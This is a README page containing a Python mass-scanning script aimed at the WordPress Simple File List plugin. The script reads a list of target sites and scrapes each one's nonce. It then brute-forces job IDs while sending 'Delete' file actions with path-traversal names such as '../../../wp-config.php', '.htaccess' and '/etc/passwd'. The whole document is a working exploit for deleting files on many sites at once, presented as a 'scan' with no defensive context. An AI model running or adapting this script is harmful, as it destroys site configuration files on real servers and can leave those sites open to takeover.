README.md
Rendering markdown...
#!/usr/bin/env python3
import requests
import re
import sys
import json
import threading
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urljoin
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Colors
RED = '\033[0;31m'
GREEN = '\033[0;32m'
YELLOW = '\033[1;33m'
BLUE = '\033[0;34m'
PURPLE = '\033[0;35m'
CYAN = '\033[0;36m'
NC = '\033[0m'
class SimpleFileListScanner:
def __init__(self, target_file, threads=10):
self.target_file = target_file
self.threads = threads
self.vulnerable = []
self.not_vulnerable = []
self.errors = []
self.lock = threading.Lock()
self.timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
self.results_dir = f"scan_results_{self.timestamp}"
import os
os.makedirs(self.results_dir, exist_ok=True)
self.session = requests.Session()
self.session.verify = False
self.session.timeout = 15
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
def get_nonce(self, target):
"""Get security nonce from target"""
methods = [
self._get_nonce_from_file_list,
self._get_nonce_from_ajax,
self._get_nonce_from_page_source,
self._get_nonce_from_js
]
for method in methods:
nonce = method(target)
if nonce and len(nonce) >= 8:
return nonce
return None
def _get_nonce_from_file_list(self, target):
"""Get nonce from /file-list/"""
try:
url = urljoin(target, '/file-list/')
resp = self.session.get(url, timeout=10)
match = re.search(r'eeSFL_ActionNonce">([^<]+)', resp.text)
if match:
return match.group(1)
except:
pass
return None
def _get_nonce_from_ajax(self, target):
"""Get nonce from admin-ajax"""
try:
url = urljoin(target, '/wp-admin/admin-ajax.php')
params = {
'action': 'simplefilelist_edit_job',
'eeSFL_ID': 1
}
resp = self.session.get(url, params=params, timeout=10)
match = re.search(r'"eeSFL_ActionNonce":"([^"]+)"', resp.text)
if match:
return match.group(1)
except:
pass
return None
def _get_nonce_from_page_source(self, target):
"""Get nonce from page source"""
try:
resp = self.session.get(target, timeout=10)
match = re.search(r'eeSFL_ActionNonce[^"]*"([^"]+)"', resp.text)
if match:
return match.group(1)
except:
pass
return None
def _get_nonce_from_js(self, target):
"""Get nonce from JavaScript files"""
try:
resp = self.session.get(target, timeout=10)
js_files = re.findall(r'src="([^"]*\.js)"', resp.text)
for js_file in js_files[:3]:
if not js_file.startswith('http'):
js_file = urljoin(target, js_file)
try:
js_resp = self.session.get(js_file, timeout=5)
match = re.search(r'eeSFL_ActionNonce[^"]*"([^"]+)"', js_resp.text)
if match:
return match.group(1)
except:
continue
except:
pass
return None
def test_vulnerability(self, target, nonce):
"""Test vulnerability with ID brute force (1-25)"""
test_files = [
('../../../wp-config.php', ['SUCCESS', 'DB_NAME', 'DB_USER', 'DB_PASSWORD', 'AUTH_KEY']),
('../../../.htaccess', ['SUCCESS', 'RewriteEngine', 'Options', 'Order']),
('../../../../etc/passwd', ['root:', 'nobody:', 'daemon:'])
]
for id_num in range(1, 26):
for filename, indicators in test_files:
try:
url = urljoin(target, '/wp-admin/admin-ajax.php')
data = {
'action': 'simplefilelist_edit_job',
'eeSecurity': nonce,
'eeSFL_ID': str(id_num),
'eeFileAction': 'Delete',
'eeFileName': filename
}
resp = self.session.post(url, data=data, timeout=10)
# Check for indicators
for indicator in indicators:
if indicator in resp.text:
return True, id_num, filename, indicator
except Exception as e:
continue
return False, None, None, None
def scan_target(self, target, index):
"""Scan single target"""
target = target.strip().rstrip('/')
with self.lock:
print(f"[{index}] Scanning: {target}")
# Get nonce
nonce = self.get_nonce(target)
if not nonce:
with self.lock:
print(f" {RED}[!] Failed to get nonce{NC}")
self.errors.append({'target': target, 'reason': 'No nonce found'})
return
with self.lock:
print(f" {GREEN}[+] Nonce: {nonce}{NC}")
print(f" {CYAN}[*] Brute forcing eeSFL_ID 1-25...{NC}")
# Test vulnerability
is_vulnerable, id_num, filename, indicator = self.test_vulnerability(target, nonce)
if is_vulnerable:
with self.lock:
print(f" {RED}[!] VULNERABLE!{NC}")
print(f" {RED}[!] ID: {id_num} | File: {filename} | Indicator: {indicator}{NC}")
self.vulnerable.append({
'target': target,
'nonce': nonce,
'id': id_num,
'file': filename,
'indicator': indicator
})
else:
with self.lock:
print(f" {GREEN}[+] Not vulnerable (no working ID found){NC}")
self.not_vulnerable.append(target)
def save_results(self):
"""Save scan results"""
# Save vulnerable
with open(f"{self.results_dir}/vulnerable.txt", 'w') as f:
for item in self.vulnerable:
f.write(f"{item['target']} | Nonce: {item['nonce']} | ID: {item['id']} | File: {item['file']} | {item['indicator']}\n")
# Save not vulnerable
with open(f"{self.results_dir}/not_vulnerable.txt", 'w') as f:
for target in self.not_vulnerable:
f.write(f"{target}\n")
# Save errors
with open(f"{self.results_dir}/errors.txt", 'w') as f:
for item in self.errors:
f.write(f"{item['target']} | {item['reason']}\n")
# Save JSON summary
summary = {
'timestamp': self.timestamp,
'total': len(self.vulnerable) + len(self.not_vulnerable) + len(self.errors),
'vulnerable': len(self.vulnerable),
'not_vulnerable': len(self.not_vulnerable),
'errors': len(self.errors),
'vulnerable_targets': self.vulnerable
}
with open(f"{self.results_dir}/summary.json", 'w') as f:
json.dump(summary, f, indent=2)
def run(self):
"""Run the scanner"""
print(f"{BLUE}[*] Starting mass scan with {self.threads} threads...{NC}")
print(f"{BLUE}[*] Created By Poloss{NC}\n")
# Read targets
try:
with open(self.target_file, 'r') as f:
targets = [line.strip() for line in f if line.strip() and not line.startswith('#')]
except FileNotFoundError:
print(f"{RED}[!] File not found: {self.target_file}{NC}")
sys.exit(1)
print(f"{BLUE}[*] Loaded {len(targets)} targets{NC}\n")
# Scan with threading
with ThreadPoolExecutor(max_workers=self.threads) as executor:
futures = {}
for idx, target in enumerate(targets, 1):
future = executor.submit(self.scan_target, target, idx)
futures[future] = target
for future in as_completed(futures):
pass
# Save results
self.save_results()
# Print summary
print(f"\n{PURPLE}═══════════════════════════════════════════════════════════════{NC}")
print(f"{PURPLE}[*] SCAN COMPLETED!{NC}")
print(f"{PURPLE}[*] Total targets scanned: {len(targets)}{NC}")
print(f"{RED}[!] Vulnerable found: {len(self.vulnerable)}{NC}")
print(f"{GREEN}[+] Not vulnerable: {len(self.not_vulnerable)}{NC}")
print(f"{YELLOW}[*] Failed/Errors: {len(self.errors)}{NC}")
print(f"{PURPLE}[*] Results saved in: {self.results_dir}{NC}")
print(f"{PURPLE}═══════════════════════════════════════════════════════════════{NC}")
# Show vulnerable targets
if self.vulnerable:
print(f"\n{RED}[!] VULNERABLE TARGETS:{NC}")
print(f"{RED}═══════════════════════════════════════════════════════════════{NC}")
for item in self.vulnerable:
print(f" {item['target']} | ID: {item['id']} | File: {item['file']}")
print(f"{RED}═══════════════════════════════════════════════════════════════{NC}")
def main():
if len(sys.argv) < 2:
print(f"{RED}[!] Usage: python3 mass_scan.py targets.txt [threads]{NC}")
print(f"{YELLOW}[*] Example: python3 mass_scan.py targets.txt 20{NC}")
sys.exit(1)
target_file = sys.argv[1]
threads = int(sys.argv[2]) if len(sys.argv) > 2 else 10
scanner = SimpleFileListScanner(target_file, threads)
scanner.run()
if __name__ == "__main__":
main()